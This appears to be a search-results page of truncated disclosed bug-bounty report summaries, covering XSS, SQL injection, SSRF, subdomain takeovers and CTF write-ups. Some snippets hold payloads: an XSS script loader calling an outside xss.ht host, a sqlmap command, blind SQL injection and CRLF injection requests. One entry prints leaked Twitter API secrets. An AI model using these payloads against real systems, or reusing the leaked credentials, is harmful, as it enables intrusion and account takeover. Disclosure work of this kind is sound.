15404 matches found
HackerOne: Possible CSRF during joining report as participant
Hi, I think i found a possible csrf issue with joining report as participant endpoint, Actually one of the bug got duplicated and the company added me into the original bug as a participant. then, I got invitation from hackerone to joing the report. After opening the invitation link, there was tw...
HackerOne: mailto: link injection on https://hackerone.com/directory
I just found that entering a non-existing porogram returns the following response: The Directory doesn't have a profile matching these criteria. If an organization has published security contact information or a vulnerability disclosure policy, please let us know. The bold part has a mailto: link...
curl: CVE-2023-27535: FTP too eager connection reuse
A vulnerability existed in libcurl FTPS protocol that allowed the reuse of a connection even if different credentials were specified for different connections, resulting in the use of cached credentials for the wrong content. The vulnerability was caused by the failure to refuse caching when...
HackerOne: Scope information is leaked when visiting policy scopes tab of any External Program
Scope information was leaked when visiting the policy scopes tab of any external program on HackerOne, allowing unauthorized users to view private program details. The vulnerability was caused by the new scope policy feature that displayed all program names and scopes using the new functionality...
h1-ctf: CCC H1 June 2021 CTF Writeup
CTF Summary This was my first H1 CTF and I was excited to work with several others to collaborate on the CTF and find the flag. I'll write up the solution process and vulnerabilities involved in the solution: Knowledge basic of S3 operations XML External Entities and Local File Exfiltration SQL...
GitHub Security Lab: Java: Fix NashornScriptEngine detection in ScriptEngine query
This bug was reported directly to GitHub Security Lab...
Automattic: SQL Injection intensedebate.com
hello dear support I have found SQL Injection on intensedebate.com parameters injectable ?acctid=1 URL:https://www.intensedebate.com/js/importStatus.php?acctid=1 I'm used sqlmap to injection command sqlmap --url https://www.intensedebate.com/js/importStatus.php?acctid=1 --dbs F1140562 available...
Shopify: Subdomain Takeover of multiple *.ttcdn.co domains
@priyanshuxo demonstrated being able to takeover multiple ttcdn.co subdomains. While we removed the DNS records, the ttcdn.co domain is out of scope for our program, making this report ineligible for a bounty. This is a limited disclosure at their request...
HackerOne: program_analytics_benchmarks query shows information not visible in public
Summary: programanalyticsbenchmarks is displaying information i don't see yet in public profile of a program. Description: I tried querying programanalyticsbenchmarks for the program security and ██████ and it showing information i cannot find in public profile especially in ███████ Steps To...
HackerOne: Email address of any user can be queried on Report Invitation GraphQL type when username is known
Summary: Email id of all hackerone users disclosure Description: There is an flaw , with that i can get all hackerone users email id Steps To Reproduce 1. Invoke the below graphql call POST /graphql HTTP/1.1 "query":"mutation Revokecredentialmutation$input0:AddReportParticipantInput!...
Internet Bug Bounty: Dragonblood: Design and Implementation Flaws in WPA3 and EAP-pwd
Full background information is at our website and detailed information can be found in our research paper. Vulnerability Summary First Disclosure Summarized, the Dragonfly handshake of WPA3 and EAP-pwd is supposed to prevent dictionary attacks. However, we discovered design flaws that still enabl...
Equifax-vdp: Important information leaked on Github
While searchin on Github about Equifax i found some juicy information like a username and password of this subdomain https://transport5.ec.equifax.com/, internal ip of the database and its username & password In the following link...
Liberapay: User Enumeration
@offgouvea reported a user enumeration issue. User enumerations are out-of-scope as mentioned in our program's policy...
RATELIMITED: Hackerone1
NOTE! Thanks for submitting a report! Please replace all the square sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report! Summary: add summary of the vulnerabili...
arxius: Local File Disclosure via ffmpeg
Summary ffmpeg is a video and audio software that is used for generating previews and for converting videos. Your current installation allows HLS playlists that contain references to external files, which leads to local file disclosure. Reproduction 1. Download this script...
OLX: Name, email, phone and more disclosure on user ID (API)
Hello, When I checked the OLX.pl app, I found out that when I click on a profile, personal information like email or phonenumber is exposed. GET https://ssl.olx.pl/api/v1/users/1/ HTTP/1.1 Host: ssl.olx.pl Cookie: PHPSESSID=hb6utlcj860nd7p2jt6ha0tu71 Connection: keep-alive Accept: / Version: v1.1...
h1-ctf: A Visit from The Grinch ~ 'Twas the night before Hackmas...
Foreword This was an amazing CTF! The first from Hackerone that I've finished and one that I have enjoyed the most. Huge shout out to @adamtlangley for creating this downright poetic challenge. My whopping 20+ invitations are already being put to good use. Hacky Holidays and Merry Hackmas! Flag 1...
curl: curl overwrites local file with -J option if file non-readable, but file writable.
Summary: When using -J -O options on curl command line tool and a server responding with a header that is using Content-Disposition to provide a filename, existing local file will be overwritten if the file is non-readable by the current user, but file is writable by the current user. Curl contai...
8x8: PHPinfo page on http://█████.callstats.io
PHPInfo file was exposed on legacy system. phpinfo was available at callstats.io subdomain. It disclosing information on a server and PHP version information...
Internet Bug Bounty: mod_remoteip stack buffer overflow and NULL pointer dereference
Versions Affected: httpd 2.4.32 to 2.4.39 Summary: When modremoteip was configured to use a trusted intermediary proxy server using the "PROXY" protocol, a specially crafted PROXY v1 or PROXY v2 header could trigger a stack buffer overflow or NULL pointer deference. This was assigned CVE-2019-100...
Internet Bug Bounty: Basic Authentication Heap Overflow
Summary: An attacker can get arbitrary data overflowed in the heap via Basic Authorization base64 blob. Even when basic auth isn't configured. Report sent to developers When calling HttpHeader::getAuth the field value will be base64 decoded. The call to the decode method doesn't ensure that the...
Smule: Missing Rate Limit in Forgot Password can Lead to email address leakage of all smule accounts
Hello Smule, I have found a vulnerability by which an attacker can get access of all the gmail accounts associated with Smule. The forgot password parameter can be brute forced through which an attacker can get the email address. Steps to Reproduce Enter your email address and for the forgot...
Legal Robot: [Cross-domain Referer leakage] Password reset token leakage via referer
A security researcher discovered that sensitive information, like password reset tokens could still be leaked to analytics services like Google Analytics or via the Referer sic header. Even though tokens were immediately invalidated, we decided to re-engineer the process to eliminate any...
Nextcloud: bypass of 2FA
Improper protection of the 2FA login made a bypass of the 2FA possible. The bug required to know user credentials but effectively rendered the 2FA ineffective. The issue has been fixed by the Nextcloud team and has been validated by the reporter...
Internet Bug Bounty: SOAP serialize_function_call() type confusion / RCE
https://bugs.php.net/bug.php?id=70388...
Hemi VDP: WordPress Version Exposure via ███████ on hemi.xyz
The WordPress CMS version was exposed in the XML file at https://hemi.xyz███. This disclosure allowed attackers to fingerprint the CMS version...
PlayStation: sys_fsc2h_ctrl kernel stack free
The sysfsc2hctrl kernel function can lead to a kernel stack free vulnerability. The vulnerability is caused by a race condition involving multiple threads accessing a local stack buffer. This could potentially result in a privilege escalation...
U.S. Dept Of Defense: SQL injection on ██████████ via 'where' parameter
An SQL injection vulnerability was discovered in the 'where' parameter of the ArcGIS server. The vulnerability allowed an attacker to retrieve database content by injecting malicious SQL queries into the 'where' parameter. Esri released an update to ArcGIS Server 10.1 Service Pack 1 to address th...
GitHub Security Lab: [Java]: CWE 295 - Insecure TrustManager - MiTM
This bug was reported directly to GitHub Security Lab...
Kubernetes: csi-snapshot-controller crashes when processing VolumeSnapshot with non-existing PVC
Report Submission Form I was asked by Kubernetes Product Security and H1 Employee @turtleshell to open a new report with the same details as report 995699. Summary: csi-snapshot-controller crashes when processing VolumeSnapshot with non-existing PVC Kubernetes Version: 1.19 Component Version:...
TikTok: Cross-Tenant IDOR ( graphql `AddRulesToPixelEvents` query ) allowing to add, update, and delete rules of any Pixel events on the platform
Due to an Insecure Direct Object Reference IDOR vulnerability, an attacker could have potentially added, deleted, or updated rules for other users' pixel events in the TikTok ads portal. We thank @bubbounty for reporting this to our team and confirming the resolution. This report is one of my...
Shopify: Blind Stored XSS Via Staff Name
Hey Team, I found blind stored XSS when i add staff name in https://your-store.myshopify.com/admin/settings/account Step to reproduce : 1. Go to https://your-store.myshopify.com/admin/settings/account 2. Add Staff Account 3. Fill First & Last Name with this payload "$.getScript"//█████████.xss.ht...
U.S. Dept Of Defense: Subdomain takeover due to an unclaimed Amazon S3 bucket on ███
Summary: An unclaimed Amazon S3 bucket on █████████ gives an attacker the possibility to gain full control over this subdomain. Description: ███████ pointed to an S3 bucket that did no longer exists. The bucket points to an Amazon S3 website bucket in the US East region. I claimed this bucket and...
h1-ctf: [H1-2006 2020] Multiple vulnerabilities allow to leak sensitive information
Summary: --------------------- Hello team! This report is detailed write-up for chain of vulnerabilities that ended up with leaking sensitive information - a flag. CTF itself was really fun and I've enjoyed it. Hope you find my report valid and useful. Steps To Reproduce: ---------------------...
Mail.ru: [windows10.hi-tech.mail.ru] Blind SQL Injection
Доброе утро! Сегодня удалось найти у вас слепую скулю, правда она снова вне скопа походу URL: https://windows10.hi-tech.mail.ru/api/tweets?cityid=select0fromselectsleep25v Request: GET /api/tweets?cityid=select0fromselectsleep25v HTTP/1.1 Host: windows10.hi-tech.mail.ru User-Agent: Mozilla/5.0 X1...
Starbucks: Information disclosure on sim.starbucks.com
Description: Hi,there.I found the sim.starbucks.com host deployed the jira server which version is 7.9.2,there is many public vulnerability on this low version. Information disclosured vulnerability 1.CVE-2019-3403https://jira.atlassian.com/browse/JRASERVER-69242 visit the URL address,you can che...
Cuvva: CRLF Injection [vpn.corp.cuvva.com]
Hi team, Found a CRLF injection in vpn.corp.cuvva.com Poc https://vpn.corp.cuvva.com/sessionstart/%0aSet-Cookie:NEWCOOKIE123 Response: HTTP/1.1 302 Found Date: Wed, 24 May 2017 18:13:57 GMT Connection: close Content-Type: text/html; charset=UTF-8 Location: https://vpn.corp.cuvva.com/...
U.S. Dept Of Defense: Unauthorized Access Exposing Sensitive Data
The identified page allowed unauthorized access to a user's profile management functionality without requiring authentication. Sensitive user details, such as name, email address, and EDIPI, were exposed upon accessing the page...
HackerOne: Server Side Request Forgery (SSRF) in webhook functionality
Server Side Request Forgery SSRF vulnerability found in webhook functionality. Attacker able to bypass anti-SSRF protections by using IPv6 address mapped to IPv4. This allowed unauthorized access to internal AWS EC2 metadata instance...
Open-Xchange: Privilege escalation possible in dovecot when similar passdbs are used
Summary --------- Privilege escalation is possible as a result of incorrect security code logic for dovecot passdb definitions. Description ------------ When two passdb configuration entries exist in the dovecot configuration which have the same driver and args settings, the incorrect...
U.S. Dept Of Defense: ██████████ running a vulnerable log4j
Description: https://vulners.com/cve/CVE-2021-44228 Impact Probably arbitrary code execution System Hosts ████████ Affected Products and Versions CVE Numbers CVE-2021-44228 Steps to Reproduce 1. Browse to https://████████/███████https%3A%2F%2F█████████%2F 2. Enter a...
U.S. Dept Of Defense: Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)
RCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM. Impact An unauthenticated, 3rd-party attacker or adversary can execute remote code Supporting Material/References - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 System...
Zomato: The vulnerabilities found were XSS, Public disclosure, Network enumeration via CSRF, DLL hijacking.
Summary IP found using ping command- 52.77.124.190 Then I used nmap tool to find the indepth information. I used burp suite and DNS scanner but it was not fruitful. Then I explored some GitHub repositories to perform thorough web-application testing. Using Aquatone I found some hidden domains. Th...
h1-ctf: [H1-2006 2020] Writeup
^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$ Prologue The CTF was announced in a Hacker0x01 tweet. The goal is to make payments from Marten Mickos' account on BountyPayHQ. The announcement tweet was followed shortly by a retweet of BountypayHQ, an account made for the event. BountypayHQ has one...
BlockDev Sp. Z o.o: load scripts DOS vulnerability
load scripts DOS vulnerability...
Pornhub: CRITICAL ISSUE : Leak of all accounts mail login md5 pass and more
The researcher has found a critical issue on a specific endpoint allowing him to leak usernames and hashed passwords. I reported here a critical issue on a specific endpoint allowing to collect easily all tube8 accounts sensitive information, including email and password. The report could be easi...
Liberapay: twitter api access token leaked on github
sensitive token were leaked on GitHub page of liberapay . also mixpanel token was leaked TWITTERCONSUMERKEY=QBB9vEhxO4DFiieRF68zTA TWITTERCONSUMERSECRET=mUymh1hVMiQdMQbduQFYRi79EYYVeOZGrhj27H59H78 +TWITTERACCESSKEY=34175404-G6W8Hh19GWuUhIMEXK0LyZsy7N9aCMcy1bYJ9rI...
HackerOne: Broken Authentication and session management OWASP A2
Description: Session management issue in https://www.hackerone.com Cookies are used to maintain session of the particular user and they should expire once the user logs out of his hackerone account.In secure web application,Cookies immediately expire once the user logs out of his account. But thi...
HackerOne: information disclosure of another company bug on video.
An information disclosure vulnerability was discovered in a company's system and reported on a bug bounty platform. The vulnerability allowed access to sensitive information about the company and its subdomain. The vulnerability was disclosed publicly, potentially causing harm to the affected...